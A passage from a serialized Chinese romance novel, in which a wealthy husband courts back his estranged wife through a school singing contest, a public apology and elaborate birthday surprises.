“绘雨,别拿你哥我打趣了。怎么样?景妍她怎么说?”凌栖珵暗含着焦急,生怕从妹妹口中得到不好的答案,又希望得到她的丁点消息,语气中带着不易察觉的颤音。
凌绘雨也没有继续跟他开玩笑。从随身的包里拿出了胸针,放在了面前的茶几上。
她无奈的叹了一口气,“嫂子她把胸针推回来了。现在无论你做什么,在她看来都是不怀好意的。”
凌栖珵像被判了死刑的犯人,突然泄了最后一口真气,颓废的躺在沙发上,暗沉的眼眸之中寻不到光,只剩无尽的绝望。
他不知道他应该怎么做才能挽回他的妻子。
凌绘雨见哥哥这幅模样,不禁心疼。
她从小最引以为傲的哥哥,从来都是泰山崩于前,而面不改色。从她记事以来,她再也没有看到过哥哥如此情绪外露的一面。
如今他如此模样,可见他难过到了极点。
“哥,解铃还须系铃人,你还是要自己出面求得嫂子的谅解才是。”
“嫂子她参加了最近学校举行的歌唱比赛。时间地点我都告诉你了。接下来看你自己的。”
过几天,杭景妍选定了歌曲,和几个参加比赛的同学一起去了大剧院,进行第一次彩排。
几个人一组进行了练习。
杭景妍在音乐老师的指导之下唱了几次。
然后到一旁的椅子上坐着休息。
突然便听到班主任的声音响起,他拍拍手照顾同学们:“同学们练歌辛苦了,杭景妍的爱人买了饮品供各位同学饮用。”
其他同学们听到以后,蜂拥而上,去到一旁的台桌去选饮品。
坐在一旁的杭景妍一动不动,隔着人群愤恨地盯着凌栖珵。
这个狗男人,又使出这些招数,来这里收买人心。可恶!
静冉也没有动,在景妍身边耳语:“你老公也太会了。”
“你这是站在哪一边?”杭景妍不满地瞥了一眼。
凌栖珵端着一杯饮品从远及近。
来到了杭景妍面前。
静冉还有眼力见的撤退了。
男人蹲下,给她递上一杯饮料,并贴心地插上吸管,“练了那么久的歌,口渴了吧。这是你爱喝的柠檬水。”
杭景妍没有接过来,把脸扭到一边,坚决不喝他送的东西。
“凌栖珵别来这种假殷勤,从今以后我再也不会用你的任何东西。”
男人把饮料放在一旁,无奈叹气
“景妍,我们之间一定要这样吗?可以给我个机会心平气和地谈一谈吗?”
这边同学多,其他同学都看热闹似的看过来。
杭景妍也不想她的婚姻生活成为同学们茶余饭后的谈资,答应他给他一个坦诚的机会。
两人来到了学校里咖啡馆。
刚好是上课时间,四下无人。
杭景妍点了一杯咖啡,不断底搅动着,也不看面前的男人。
“现在没人了,有话就直说吧。”
要面对自己在乎的人,在她面前刨白自己的内心,凌栖珵有一瞬间的惶恐,一时间不知道从何说起,他整理了一番思绪,才开口。
“我承认,一开始我的联姻的动机不存,但是不是为了吞并你们杭家,而是希望杭家作为我的助力在争产中能占有上风,但是我也并不完全寄希望于别人,如果杭家是个扶不起的阿斗,为了壮大自身的实力,商场没有任何感情可以讲。
杭景妍听到这里,道:”所以你这是承认了,那我们还有什么什么好说的。”她站起身欲走。
男人伸手拉住她的手,“就算判我死刑,也该给我说完的机会吧。”
杭景妍努力挣脱,男人的手仍然如钢铁般纹丝不动。
“放开,你弄疼我了。”
凌栖珵这时才放开她的手。
杭景妍又坐会原位听他继续。
“但是,从一开始,你就深深地吸引了我,你就像一道灿烂的彩虹,照亮我如一谭死水的生活,我的生活不能没有你。如果你去查你家的账目,你就知道我一直在资助杭家的工厂运转。”
说到这里他停顿了一下,又道:“我把那个女人的股份抢过来给你,把我在凌家的一切与你共享,难道还不能证明我的心吗?”
一句话惊醒了杭景妍。
但是她还是没有开口。
“你有这个想法也不对,万一你哪天变心了,你同样可以收回。”
凌栖珵很无奈,妻子的强词夺理。
“亲爱的,你不能想象没有发生的事情来指责我。这对我不公平。”
“我知道,我给
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你的保证在你看来都没有安全感。那我到底该如何做才能让你放心呢。”
杭景妍沉默。
她还是很生气,气对面的男人就是有过这种想法,同时她也觉得很无力,两人地位的绝对不平等。
“你怎样做,我都不可能安心,这是地位不平等决定的。”
“景妍,这只是你不够爱我,如果你足够爱我,你就会无条件信任我。”
“你知道那天我去找你想跟你说什么吗?我想说我爱上你了,我不知道什么时候,可能是每次你的迁就,你舍命救我,或者我们面对共同的敌人时。但是,是你让我的爱成了笑话!现在我又如何知道我的爱何时成为你利用的工具。”
“时间会证明一切。”凌栖珵凝视着妻子,目光坚定的道。他伸出手,试图握上杭景妍放在桌面上的手。
杭景妍洞察了他的意图,快速把手放下,躲开了男人的触碰。
凌栖珵放低了自己的语气,含着祈求道:“景妍,给我一个机会证明。好吗?”
杭景妍心里一团乱麻。
犹豫,徘徊,面对他如此坦白,证实自己的猜测的愤怒。一股脑冲向了她,让她来不及思考。
“我不能立马答应你。给我时间好好想想。”
“但是,答应我,不要拒绝我的好意,还有从美合公寓搬出来吧,如果你不想回家,我还有另外一套公寓,你可以住到那儿去。”
杭景妍像发现什么新大陆般,得意洋洋道:“我就不般。凌栖珵,你看到你老婆住到别人家里,吃醋了?”
凌栖珵被老婆搓破心中小秘密,耳后不仅染上淡红。他强制镇定,道:“我不该吃醋吗?凭他是哪里冒出来的阿猫阿狗就来和我抢老婆。”
“凌栖珵,你过分了。他是我从小一起长大的哥哥。你不看僧面看佛面吧。”
“我看他不想当你的好哥哥,只想当你的爱人。”
一番话说得酸溜溜的。
“是吗?那挺好的,让你有点危机感,我们离婚后,我也是很抢手。”杭景妍脸上洋溢着得意地小表情,微微翘起嘴角。
“凌大公子,鉴于你的想法和行为,好好表现,不要以为你一番刨白我就能原谅你,跟你回去。”
凌栖珵听到这里,心中一直紧绷的弦放松下来。这句话至少给了他希望。拯救他于无边黑暗绝望之中,他不用再面对倾尽全力都无法解释的僵局。
他不可自抑地翘起了唇角,内心的愉悦之情藏也藏不住。
杭景妍不想让面前的男人太得意,冷眼斜睨他,道:“别得意太早,你要是表现不好,咱们随时离婚。”
“好了,该讲的话也讲完了,你跪安吧。”杭景妍摆出了一副皇太后的仪态,站起身欲走。
没想到凌栖珵也跟着她起身。
杭景妍惊诧道:“你跟着我干嘛,我要回去练歌了。”
凌栖珵充分发挥自己没脸没皮的本事,道:“没事,我只是想陪着你工作。”
杭景妍:“.......”
她真的没想到一个男人的脸皮能这么厚。
43. 第 43 章
静冉见凌栖珵跟在景妍后回来,凑上前悄悄说:“这是什么情况??你原谅他了?”
杭景妍没好气地瞥后面跟着的男人一眼,道:“没,但是看他在他如此虔诚的份上给他一个表现机会。
静冉估计景妍终有一天会原谅他,不敢给他颜色,陪笑道:“凌少爷,辛苦了。你可以留下来观看我们的彩排。想必凌少爷平时看多了专业歌舞团的表演,不要嫌弃我们学生稚气。”
“在我看来,景妍在哪里,哪里便是最美的风景。”凌栖珵上前搂着杭景妍肩膀,深情凝视。不放过任何一个表忠心的机会。
男人的手掌温暖干燥,超过纤薄的衣服传递他炙热的体温,杭景妍觉得肩膀炙热。
她打掉了男人放在肩膀上的手,道:“说话就说话,别动手动脚的。我可没有允许你进一步动作。”
当众被下了面子,凌栖珵也不恼怒。
刚好也轮到杭景妍上场去彩排了,她进入后场化了妆上场。
站在麦克风之前,开唱。
她选的是一首《茶馆小调》,曲调委婉多情,凌栖珵在台下听她娓娓道来,调子随着她靡靡嗓音侵入耳膜,凝视着她树立台前的一举一动,一颦一笑,不禁失了神。
他知道她是个多才多艺的女子,会画画爱摄影,但他的妻子总是带给他惊喜。
在台上深情演唱的她,如此投入,一笑一动是如此的明媚自信。
这才是真实,生动的杭景妍。为了自己热爱的事物全身心地投入,展现着蓬勃的生命力。
这股鲜活的生命力,让人忍不住的想去呵护。
凌栖珵拿起了相机,给她连拍了十几章,她在台上的所有动作,都被他定格。
一曲终了,凌栖珵欣慰地鼓掌。
那是一位观众最真诚的赞美。
杭景妍下台时,凌栖珵已经等在了后台。她瞥了对方一眼,道:“你还没走?”
男人放下交叠的双腿,站起身,“我在等我太太,想问她,需不需要服侍。”
他是一本正经的说出这话,脸不红心不跳。倒是杭景妍双颊染上飞红,怪不好意思的。
等杭景妍换衣服出来,凌栖珵迎上来送她和静冉回了美合公寓。
两周后,就是学校的文艺比赛。
杭景妍和静冉也在准备,每天公寓里都能听到歌声袅袅。
练了有一会,静冉道:“余知那玩意,选了个特别的歌,硬是要把你比下去。你知道吗?”
“无所谓,她要比就比吧。”
“就是个游戏而已,搞不懂这人的脑回路什么都要比一个彻底。”
“我们只是玩玩罢了,是吧?”杭景妍微挑眉毛,脸上绽开明媚笑容。
文艺比赛那天,凌栖珵早早便来了学校。
学校校长得知消息亲自过来迎接。
凌栖珵与校长寒暄几句,便在他的陪同下进入大礼堂。
校长一直殷勤陪笑,小心翼翼地伺候着,“贵校不必如此客气,我只是来看欣赏妻子的比赛。”
在礼堂半明半昧的灯光下,凌栖珵好似看见了一个熟悉的身影。
他眉头微皱,防备心顿起。
她怎么也来这里。
防止他搞出什么事情,凌栖珵召来身边的助理,吩咐他看住杨洛漪。
他生怕这女人发疯起来干出什么歇斯底里的事情,伤害到景妍,也不想她们在私下有任何的接触。
文艺比赛开始,杭景妍抽到了号码牌是第十个出场。她正在后台忙碌的梳妆打扮,并趁着这个时间段,默默地把她要表演的歌曲演练了一遍。
静冉也化好妆,换完衣服走过来。
姐妹两相视一笑,握手打气。
余知换好衣服也来到了后台。她在景妍她们之前,是第4位出场。
随着幕前主持人的报幕声,前几位出场的同学已经在候场准备了。
余知跟着队伍排队。在众人看不见的阴影处,露出鄙夷的神情。
随着一号,二号的上台,杭景妍也不在注意她的存在,专心准备自己的表演。
随着前五个人上场,后五人候场,杭景妍离开座位准备排队等待出场时,刚刚站起身,便听到‘嘶啦’一声。
她低头查看,一个尖锐的钉子,撕裂了她精心准备好的裙子。
静冉惊呼一声。帮她把裙子从钉子上解下。
精美的粉色裙摆上赫然多出一条不规则开口。
“这可如何是好,马上就要上场。”静冉紧张道。
杭景妍眉头微蹙,望着不知从哪里突然冒出来的钉子凝思。
这些东西都是学校仓库统一保管的,木工们做的椅子。虽然值不了几个钱,但是也不可能出现如此大的纰漏,一颗尖锐钉子露在外面划伤她的衣服是小事,万一伤了人,引起破伤风,那可就是人命了。
她断定肯定是有人要陷害她,她在学校也没树多少敌人,想一想只有余知这个王八蛋。
这时,唧唧咋咋声响起,下台的人三五成群走来,议论纷纷,杭景妍听了才知道,凌栖珵来了。
静冉听见动静,跑到台上的幕布后,悄悄伸出头瞄一眼观众席,果然看到了凌栖珵,而另一边她还看到了杨洛漪。她端着淑女的仪态坐在台下,嘴角勾出恰到好处的笑容,沉浸地欣赏余知的歌声。
静冉暗骂一声,回了后台,道:“何止是你老公来了,你老公的旧情人也来了。我估计这就是余知那个小蹄子搞得,给她主子撑腰呢。就是让你在情敌面前出丑。恶毒!”
杭景妍冷笑一声,她想让我出丑就出丑,岂不是显得我很没面子。姐偏不顺你们的心意。
她去换衣间把衣服换下来,把后背整个口子裁下来,行程波浪形不规则的边边,再扯下一侧的窗帘,做成披风披在肩上。
窗帘的长度很长,半边披在人身上,刚好遮住裙子的后背,半边延展至地上有半米长。
杭景妍再用剪刀精心裁剪,一件别开生面的披风做好了,与她的裙子在一起。呈现出另一种特色。像是威风凛凛赶路的客人,走入茶馆歇脚,被茶馆小调所迷。
静冉扶着下巴,欣赏着杭景妍的新装备。
“这也算是另外一种特色。想到学校的窗帘还能被你变废为宝。”
“10号,11号,快点,到你们啦。”
杭景妍无暇多想,拉着静冉进了队伍候场,前面的人已经上台,她的面前只剩下一人。
她调整呼吸,做好准备,上场。
五分钟后,随着前面一人的歌曲落幕,主持人上来,报幕,终于轮到她上台了。
她踩着主持人落下的话声走入台中央。舞台的正中,炙热的灯光从头顶射下,带来阵阵暖意,她清清嗓子,在音乐的伴奏上唱起悠扬婉转的歌声。
台下众人都被她这身装备惊艳的倒吸一口冷气。
在台上,她看到了凌栖珵,他今天西装革履,头发也打着发蜡梳得一丝不苟,英俊清冷的五官纵使是在这半明半昧的灯光下,仍然无法让人忽视。笔直的西裤包裹下他的双腿随意地交叠,骨节分明的手搭在腿上,随着她的曲调打折拍子,嘴角勾起宠溺的笑容。而后,拿起手边的相机为她拍照。
对她的别出心裁见怪不怪。
不知为何,杭景妍看见他的笑容,莫名觉得安心。
而另一边,杨洛漪表情便没有那么好看了。看到杭景妍上场,先是偷着惊慌,仿若做错事的孩子,镇定下来看清她的衣服后又转为不屑,唇角勾起了冷笑,双手抱胸,一副看热闹的表情。
而随着曲子进行到中场,她披风一甩,坐到早已经准备好的茶馆道具椅子上,一边做出喝茶的姿态,一边缓缓唱完了一曲。
一曲终了,众人先是一阵沉寂,好似沉浸在了她的歌声中没有反应过来,曲子已经结束,而后便是热烈的掌声,响彻整个礼堂。
凌栖珵也同其他人一起站起身,热烈鼓掌。
如雷贯耳的掌声让杭景妍露出一丝羞涩,她起身鞠躬,“谢谢大家,谢谢大家的厚爱。”而后走下了舞台。
舞台另一边的余知和台下的杨洛漪脸都气青了。
杨洛漪愤恨不平,小声碎碎念:“可恶的余知,还说什么要给我出气,让杭景妍出丑,结果就这样,我看出丑的是我。”
文艺比赛通过电台进行转播,每一位选手的歌声,打开电台的听众都可以听到。
今天,将选出最佳歌手奖。评选的方式,是由各位听众通过电话匿名投票,谁得到的票数高,谁便是今晚的最佳歌手。
杭景妍之后还有静冉,剩下的还有二三十名选手等待上台。
她唱完后,也没有去台下落座。而是跟着静冉在台后找了个无人打扰的空间。一边吃着烤串一边闲聊的打发剩余时间。
两人正吃着,余知走过来阴阳怪气:“杭大小姐好本事,一件破烂衣服都能变废为宝,独具一格。真是太有本事了。”
“哼,”杭景妍放下筷子站起身。“那当然,本小姐的本事多的很。今天就让你领教一二,让你这个忠心的狗奴才在主子面前丢人现眼,也顺带膈应一下你的主子。不知,你的主子被膈应的如何?”她冷笑一声,重新坐下,蛮不在乎继续吃烤串,也学着余知的口气:“我看经此一事你的主子,再也不会正眼瞧你了。”
“哈哈哈。”
“怎么,不服吗,不信,我也让你感受一下丢人的感觉,看下你有没有本小姐变废为宝的本事。”杭景妍以迅雷不及掩耳的方式,抽出准备好的钉子,也在余知的裙子上划开一个口子,且比她的大。而后扔掉了手中的钉子,拍了拍手上的灰
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嘟着嘴,装出一副可爱的模样,大大的眼睛透着得意洋洋:“好了,等下余小姐就穿着这样的衣服上台谢幕吧。”
余知转头看到裙子后背被拉开一个口子,无法接受地大叫一声。
“我跟你这个贱人拼了!”余知作势要冲过来。
杭景妍压根不怕她这些小儿科手段,打架,她未必打得过她。正在摆开架势准备迎战时,一道身影闪现,抓住了余知的手。
杭景妍抬头看过去,凌栖珵不知何时出现,抓住了余知的手,他随手轻轻一推,余知便被推得连连后退。
“敢跟我妻子动手,你当我凌某人不在了吗?”
凌栖珵转身查看妻子,生怕她受伤。
“她伤着你没有?”
杭景妍看对方走了,顿时觉得无趣至极,坐下来继续吃烧烤,不太愿意搭理他。
没好气道:“你来这里干嘛?要不是你拦着,我一定好好修理她一顿。让她敢划我裙子。”
听到此处,凌栖珵眼眸转暗,声音低沉,道:“是她划破你的裙子,所以你才别出心裁设计了那样一件披风?”
“对!”
这时静冉忍不住出声打抱不平,道:“凌先生,她针对景妍不是一次两次了,每次都给我们找麻烦。”
杭景妍盯了静冉一样,像是责怪她多嘴。
凌栖珵听到这样的话,心里像是被钝刀一刀刀凌迟似的,他的妻子,在他不知道的地方默默忍受着刁难,而他对此一无所知。他觉得这个丈夫他当得失败急了。
“景妍,这是真的吗?你为什么不跟我说呢?”男人的语气饱含心疼。
然而杭景妍却冷哼一声,道:“凌大公子,你不用跟我演了。难道你不知道?她为什么针对我吗?她是替你的好情人出头。她不过是你的情人的一条狗罢了。你跟狗计较,你怎么不跟她主人计较?!”
“原来如此!好,你放心,我会给你个交代!”男人好似下定了某种决心,眼神从心疼,转为冰冷,像是坠入冰冷寒谭。此时的他,像是冷血机器,低气压渗出的压力,不禁让人胆寒。
静冉感到瑟瑟发抖。
杭景妍却不以为意,道:“好,我等着这一天,希望你言而有信!”
过了两个小时,所有人的才艺节目都表演完毕,所有人都上台,等待主持人告知谁得到的票数最高。
杭景妍和静冉一起站在三十多人的大队伍中,来到了台上。
主持人一个个念的票数。而杭景妍得到了五千多票,静冉得到了一千多票。
静冉听到这个票数,哭丧着脸。景妍连忙安慰着她。
最后主持人宣布,杭景妍在三十多人中获得的票数最多,当选为新一届校园最佳歌手奖。
听到主持人宣布是她获奖时,杭景妍愣了愣,她只是想玩一玩,娱乐一下,抒发最近郁闷的心情,没想到还顺带得了一个奖,真是受宠若惊。
其他的选手,已经在鼓掌以示祝贺。
“下面就请我们的获奖者发表一下获奖感言。”主持人侧身让出麦克风前的位子,请她上前。
杭景妍款款走至麦克风前,扫视台下,杨洛漪一脸铁青,转脸看窗外,而其他同学们兴奋不已,在台下当起啦啦队,大喊:“景妍景妍,你最牛。”
她双眼不禁湿润,她何德何能,有那么一群同学那么关心她。然而扫到凌栖珵的位子,却空空如也。她愣住了,“难道真是被自己气跑了?”
没时间理男人,杭景妍接过校长亲自送来的奖杯,并与校长握手。对着麦克风,讲话:“多谢各位的热爱,也多谢电话机前的听众的热爱,唱歌不过是我繁忙学业之余的兴趣,我从来不知道我的歌声能得到那么多人的喜爱,多谢大家的热情,如果有机会,我希望还能用歌声回馈大家,与大家交流,谢谢大家的热爱,谢谢!”她眼含热泪,举起奖杯欢呼。台上洋洋洒洒飘起了金色的彩带,为她此时的加冕庆祝。
领完奖,她正准备下台。主持人拦住了她:“杭小姐,等一下,主办方还有一个惊喜要送给你。”
杭景妍疑惑,不就是一个奖吗?难道学校还有什么超级大礼包?
瞬时间,舞台灯光转暗,一旁的钢琴声响起。凌栖珵身着一身白色的西装,宛如中世纪的优雅骑士,踏着钢琴身捧着一束黄玫瑰缓缓上前。
杭景妍微微蹙起眉头,不知道这男人又搞哪门子鬼。连学校都被他收买了。
凌栖珵缓步走至她面前,单膝下跪,献上黄玫瑰,道:“景妍,以前,都是我不好,我们夫妻之间缺少沟通和信任,造成了危机,也对你造成了伤害,我保证,以后会更加爱护你,一切以你为先,你能在给我一次机会,原谅我吗?”
台下的众人看热闹不嫌事大,纷纷起哄道,“景妍,原谅他,原谅他!”
44. 第 44 章
在众目睽睽之下,杭景妍不能拒绝。
她挤出甜美的笑容,弯着嘴角接过老公手中的花。捏出甜腻的嗓音:“谢谢,老公的花。”
她接过花做势埋入花中深嗅一口:“花很香。老公真有心。”并伸手拉起半跪着男人。
装做害羞的小女儿姿态,投入男人的怀中。
男人欣喜不已,强制忍着内心的喜悦,面上却控制不住溢出喜色,附在她的耳边,用只有两人能听到的声音道:“景妍,谢谢你,能再给我一次机会。”
杭景妍好似没听见他的话,脸枕在男人的肩膀上,脸却看着台下的人。
台下的观众一阵欢呼,为他们见证了一场浪漫复合。
世人只管看自己想看到的事与人,哪里愿意深究其中的各中情由。
既然他们想看,杭景妍不介意演给他们看。
只是狂欢过后,散场以后,还是各奔东西,一切的美好,只能留在台前。
等到了后台,杭景妍放下了花,去了更衣室把演出服换下来。刚打开更衣室的门,看到刚刚深情表演的男人站在门口。她冷哼一声:“凌大公子,哪里来的回哪里去吧,戏散场了,该回家了。”
凌栖珵听到她的话,眸色一振,而后明白过来,她最恨胁迫,在这样的场合求原谅的行为,无疑不是把她架在火上烤。就算答应他什么,也可以翻脸不认。
他溢出一声苦笑:“妍妍,对不起,我知道我不该没有经过你的允许在这个场合做出这样的举动,让你下不来台。我从来没有任何胁迫你的意思。我只是想让你看清我的心。”
男人的一番剖白激不起杭景妍内心的一点涟漪。
她冷冰冰道:“算你还有自知之明,让开吧。我们要回家了。”
凌栖珵虽然求原谅失败,但是也不会轻易放过表现的机会。
他立马侧身让道,殷勤道:“我送你们回去吧。”
杭景妍也不拒绝,答应下来,她也想看一下,她的丈夫到底能为她做到哪一步?现在能享受便享受,能指挥便指挥。
静冉在一旁看着她指挥老公,在她转过来时眼神与她交流,意思是:真要这样整你老公?
杭景妍眼神示意她与她同一战线,静冉只好硬着头皮过来拉着好姐妹的手,一起下楼。
坐上凌栖珵的车回了美合公寓。
他把人送到楼下,没有上楼便走了。
静冉看着离去的背影,问道:“你真的不准备原谅他?人家搞了那么盛大的仪式,够有心了。你还准备磨人多久?”
“你是站在哪边?还帮他说起话来了。”
“行,我不帮他说话。只是某人不要喝醉酒在那里偷偷哭。”
被
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人搓破了内心的秘密,杭景妍有点不好意思,“哼,那能那么容易原谅他。在磨一磨他,让他长长记性。”
“行,不说你男人了,你的生日快到了,打算怎么过。不然我和刘壁成一起帮你过得了。”
经静冉提醒她才想起来过一个星期便是自己生日了,之前还想着这是她结婚后的第一个生日,想着凌栖珵会怎么为她庆祝。现在都不知道这狗男人能不能响起来她的生日。
她惆怅道:“到时候再说吧,说不定爸妈叫我回家吃饭,如果有时间晚上我们再一起庆祝。”
一个星期很快就过去了,转眼便来到了杭景妍的生日。
早晨,她还躺在柔软的床上,沉浸在梦乡中,响彻天际的电话铃声吵醒了她。
她迷迷糊糊伸手去床头柜的电话,接起:“喂?”清晨的嗓音带着沙哑。
“妍妍,今天是你的生日,妈妈准备了一桌好吃的。中午你可要回来吃饭。”杭夫人在电话那里高兴道。
虽然每一年生日杭夫人都为女儿准备了一桌丰盛的宴席,杭景妍也很受用,但是这是她结婚前了。
现在她和父亲闹得那么僵,她并不想在今天的开心的日子回去,闹得不愉快。对于她来说她的家庭从她结婚开始就已经变得微妙。
但是又不能弗了母亲的意,她沉默半晌,还是答应了。
45. 第 45 章
突然听到这个消息,杭景妍吃惊不已:“你做的?你怎么知道我爱吃这个广式肠粉?”
凌栖珵伸手握住她放在扶手上的手,手指伸进去与她十指相扣,微笑道:“打电话回去问了爸妈。妈妈告诉我你的口味。我便想在你生日上给你个惊喜,我做得如何,请老婆大人打分。”
杭景妍心理挺高兴的,但是又不想男人太得意。忍着笑容。装做高冷,道:九十分吧,扣十分,给满分怕你太骄傲,继续努力进步。”
男人抬起两人交叠的手,在妻子手背落下一吻:“多谢亲爱的夸奖。我会努力的。”
“哎呦,我到底是来看电影的还是来你们秀恩爱的?猝不及防被撒了满嘴的狗粮。”
“你还好意思说,还没说你背叛我呢,偷偷倒戈呢。”杭景妍投来嗔怪的眼神,开玩笑似的做掐住静冉的脖子状。
“啊,大小姐,我错了,饶了我吧,我这不是为你着想嘛,是谁在深夜喝醉酒偷偷喊着人家名字,”静冉连忙辩解。
“你还说,还说呢。”杭景妍更紧张了,生怕自己的秘密被身边的男人听到,自己的尊严简直没有啦。
“我投降,不说了,我们看电影。”静冉举起双手作投降状。
三人笑闹了一阵,深怕影响其他人观影体验,安静看电影。
电影持续了两个半小时,电影散场时,有电影院的工作人员上来说道:“电影的主创将来跟观众互动。请大家先不要离场。”
杭景妍和静冉等那么久就是等得这一刻,两人握着手兴奋地尖叫。
当台下何永熙入场,微笑着和观众打招呼时,杭景妍跟观众的尖叫声更是响彻整个影院。
“栖珵,是何永熙,我见到他了,真人也像电影一般那么帅。简直太帅了。”杭景妍兴奋到语无伦次,完全没有注意到眼前男人越来越黑的脸。
凌栖珵下意识地用手捂住了耳朵,他没有想到这些女人会那么疯狂。其中包括他的老婆。
这一刻他真的后悔,为了让老婆开心,把人请来了。他往台上看一眼,眼眸如墨,深不见底。不就是两个眼睛一个鼻子嘛,哪里帅了?有他帅吗?
他吃味道:“哪里帅?有我帅吗?”
杭景妍听出了男人话里的酸意,平复下来看过去,男人的脸色已经可以媲美天空中的乌云,她噗嗤一笑:“哎呀,凌大少爷,凌大总裁,不要那么酸嘛。跟一个小小明星计较什么嘛?除了今天,其他时候还是你最帅!”
听了这句话,凌栖珵脸色稍稍多云转晴:“知道你喜欢他,特意为你请来的。”
此时,何永熙的声音也在台下响起:“感谢大家百忙之中抽空来看我的电影,希望能得到你们的喜欢,今天还是我一个粉丝的生日,为了感谢她在生日的特殊的日子能来给我捧场,现场送给她一首生日快乐歌。”
影厅的灯应景关闭,工作人员推着蛋糕,蛋糕上点燃蜡烛,烛光微茫,却感觉照亮了整个影厅。
何永熙站在蛋糕的身后,俊脸映照在烛火中半明半昧,五官更是清秀立体,开口缓缓唱出了歌,清冷又富含磁性的嗓音,缓缓流入影厅中,听入耳中,如清冷的泉水在心灵中流动,舒缓惬意。
杭景妍不禁沉入其中,一曲终了,久久不能回神。
静冉在旁边用手碰了碰她,小声提醒:“歌唱完了,醒醒。”
杭景妍回神,转身看着身边的男人,清灵的双眸含着水光,突然,她张开双手抱住他,“谢谢你,亲爱的,这是送我的最好的礼物。”
多日没有肌肤之亲,她柔软的肌肤,栀子味的香气,迎面扑来,让他猝不及防,他反应过来回抱住他,沉浸在妻子久违的温柔乡。
“你喜欢便好。”
“我很喜欢。”杭景妍放开了他,轻轻拭去眼角泛出的泪水。
“我们一起下去切蛋糕。”凌栖珵扶着杭景下台阶。影厅这时候换成了生日快乐歌的音乐。幕布上显示的几个大字:祝爱妻生日快乐,凌栖珵。
杭景妍下来看到这几个字,忍俊不禁。
“你这几个大字也太老土了吧。”
“是,老婆说老土,就是老土。下次老公一定改。”
杭景妍今天特别开心,并不计较小节。
站在闪着烛光的生日蛋糕前,许愿,并吹灭蜡烛,切蛋糕。
切好的第一块蛋糕,她思考良久还是送给了亲亲老公,“亲爱的老公,今天辛苦啦,这块蛋糕感谢你为我准备的惊喜。”
第二块送给了何永熙,甜甜笑道:“感谢偶像百忙之中来庆祝我的生日。”
何永熙有点受宠若惊,他诚惶诚恐地伸手接过蛋糕,道:“凌夫人,客气了。能给你庆祝生日是我的荣幸,也感谢您的喜欢。凌总是我们的大老板,这不过是举手之劳,何足挂齿。”
“哦?原来你是在我老公旗下,你放心,以后姐姐罩着你。”她转身对身旁的男人道:“听到没有,给我偶像好一点的资源。”
何永熙真是诚惶诚恐,忍不住背后冒冷汗,他觉得如果眼神可以杀人,他已经在老板的眼神下死了无数次了。
“多谢老板娘的厚爱。”
杭景妍无视身边男人越来越冷的眼神,搂住何永熙的胳膊,指挥道:“栖珵,你带相机来了吗?帮我与偶像拍一张照。”
凌栖珵神色转为正常,吩咐身边工作人员把他的相机带来,而后拿相机给亲亲老婆和偶像拍了十几章合影。
等出了影厅,静冉和景妍走在前面,她在景妍耳边窃窃私语:“你老公真是为你下血本了。明明不喜欢你和别的男人走的那么近,却为了你开心,拼命的忍受。”
杭景妍也点头同意,真不知道他怎么想出这个点子的,真是难为他了。
三人站在影院门口,杭景妍询问了老公的行程。
“我公司还有事,如果你们想购物,直接去凌氏的百货商场,我已经打好了招呼。”凌栖珵交代完,把司机和车留给他们,自己开另一辆车离开了。
杭景妍和静冉去了百货商场先吃了一顿大餐,而后从一层到五层,层层扫货。
随着凌栖珵打开方便之门,两人走哪都有人前呼后拥的伺候。
两人看中什么,便直接说,立马有服务人员打包。两人两手空空逛的下一家店。
两人一家家店逛着,等到天黑,出了商场们,整个商场搬空一半,身后跟着浩浩荡荡一群人,提着大包小包,里面包括了两人的进口法式洋装,首饰,鞋子,法国香水,还有景妍最爱的相机。
杭景妍为了不显得自己那么没良心,还是给老公选了一条领带和领带夹,一件
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深蓝衬衫。
而后她和静冉两人坐上车回了杭府。
刚刚进入府中,花园一片漆黑,什么都看不到。
杭景妍疑惑道:“管家,今天是灯坏了吗?怎么不开灯。”
管家在背后拍了拍手,下人们一次捡起荷花池边的蜡烛,烛火在黑暗中摇曳,突然耳边响起划桨之声,杭景妍定睛看去,凌栖珵坐在乌蓬船中,缓缓而来,船边摆了一圈蜡烛,船夫在背后摇着桨。
凌栖珵坐船来到桥边伸手。
杭景妍伸出手,放在他的手上,就着他的力道,胯上乌蓬船。
两人在船内相对而坐,随着船夫的桨,摇到荷花深处,而后船夫上了另外一艘小船回去了。只剩下他们两个人。
杭景妍疑惑道:“你带我来这里干什么?我要回去吃饭呢。”
凌栖珵微微一笑,拍拍手,荷花池中,用竹子做了一条小溪,水随着竹子高低错落,缓缓流动。水中漂浮着。一道道菜,随水漂流而来。
杭景妍惊讶极了,“这不是王羲之的曲水流觞吗?”
“是的,妍妍是否要即兴赋诗一首?”凌栖珵从水中拾起一道道菜,还有蛋糕,在小船桌上摆好,点上了蜡烛。
烛光映照着两人,杭景妍隔着烛火望着对方,半明半昧中,心跳不禁加快。她老公其实比何永熙帅多了,并且,他的眼中永远有着她的影子,只有面前的这个男人是完全属于她的,他的人,他的心。
思及此,她不禁觉得燥热,双颊渐渐染上红晕。
凌栖珵再给蛋糕插上蜡烛,“许愿吧,这个蛋糕是我亲手做的,跟早上那个不同,这一场独属于我们两个人。”
“原来你说的有事先走,是回家来布置这个。”杭景妍恍然大悟。
她双手合十,深情地看一眼面前的男人,闭上双眼,许愿,希望她的丈夫,永远爱他,两人永远坦诚相待,携手并进。
而后睁眼,吹灭了蜡烛。
凌栖珵好奇问:“许了那么久,许了什么愿望,可以说出来嘛,老公尽力帮你实现。”
杭景妍凝视着他的双眼道:“希望你永远不要对我有任何隐瞒,你能实现吗?”
“能。从今以后,无论我们面对的是快乐还是艰辛,我都与你分享。用不对你有二心。”他伸手握住对方放在桌面上的手,与她十指交握,望进对方眼中,郑重的承诺。
杭景妍起身,唇蜻蜓点水般触到他的唇。轻轻一吻:“嗯,相信你,再给你一次机会。”
男人反应迅速,伸手扣住她的后脑,加深这个吻,舌灵巧侵入,辗转缠绵,掠夺她口中每一寸气息。
直到她喘不上气才放开她。
杭景妍坐回座位,尴尬得望着远方。
找话题聊:“爸妈他们呢。”
“爸妈他们出去过二人世界了,把地盘留给我们。”
“你可真是好手段啊,不仅把我的爸妈还把闺蜜全部买通了。”
凌栖珵弯唇微笑:“你应该说,我人格魅力大。”
他拉起杭景妍,走到船头,让她看湖面。
整个湖面上飘满了河灯。
每一个河灯都有一个礼盒。
“这是你送我的礼物吗?”
男人点头,含着宠溺的笑意,道:“打开看看。”
46. 第 46 章
凌栖珵摇桨把船划过去。
杭景妍在船头把河灯一个个捡起来,转眼间便捡了10来个河灯。
她吹灭了蜡烛,把礼盒从河灯都拿出来。
